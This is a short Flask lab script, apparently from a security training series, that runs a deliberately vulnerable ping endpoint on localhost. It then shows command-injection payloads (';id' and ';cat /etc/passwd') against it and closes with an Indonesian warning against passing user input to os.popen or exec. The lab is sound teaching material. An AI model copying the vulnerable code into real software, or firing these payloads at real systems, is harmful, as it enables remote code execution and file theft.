EH-12: ⌨️ Command Injection - RCE via Input
Tools:
curl
cd ~ && mkdir -p eth-l12 && cd eth-l12
cat > server.py << 'PYEOF'
from flask import Flask, request
import os
app = Flask(__name__)
@app.route('/ping')
def ping():
ip = request.args.get('ip','')
r = os.popen(f"ping -c 1 {ip}").read()
return f"<pre>{r}</pre>"
app.run(port=9010)
PYEOF
python3 server.py &
sleep 1
echo "=== 1. Normal ==*"
curl -s "http://localhost:9010/ping?ip=127.0.0.1" | head -3
echo ""
echo "=== 2. RCE ==*"
curl -s "http://localhost:9010/ping?ip=127.0.0.1;id"
echo ""
echo "=== 3. Read file ==*"
curl -s "http://localhost:9010/ping?ip=127.0.0.1;cat /etc/passwd | head -2"
kill %1 2>/dev/null
Refleksi: Command injection = RCE.
Jangan pernah gunakan os.popen() atau
exec() dengan input user.
Generated by @farishhz Agent Pentest Pipeline - TDCTF Security Academy